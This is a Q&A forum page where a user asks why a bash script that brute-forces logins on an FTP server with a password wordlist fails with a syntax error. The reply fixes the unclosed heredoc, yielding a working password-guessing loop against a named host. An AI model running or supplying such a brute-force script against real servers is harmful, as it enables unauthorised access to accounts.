0

I'm writing a short bash script which brute forces an ftp server using a password list. Here is my code:

#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

cat $filename | while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
done

When I run my script, I get this error:

syntax error: unexpected end of file

Can anyone suggest why I'm getting this error, thanks for any help.

2
  • 4
    You didn't close the heredoc Commented Mar 8, 2019 at 23:00
  • 1
    Whenever you have a shell script error, a good first step is to cut and paste your code into shellcheck.net and correct the errors (important) and warnings (might be important) that it identifies. If you have trouble understanding its messages, then come here and ask. Commented Mar 8, 2019 at 23:01

1 Answer 1

2

You need to finish the heredoc:

#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
EOF
done < "$filename"
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.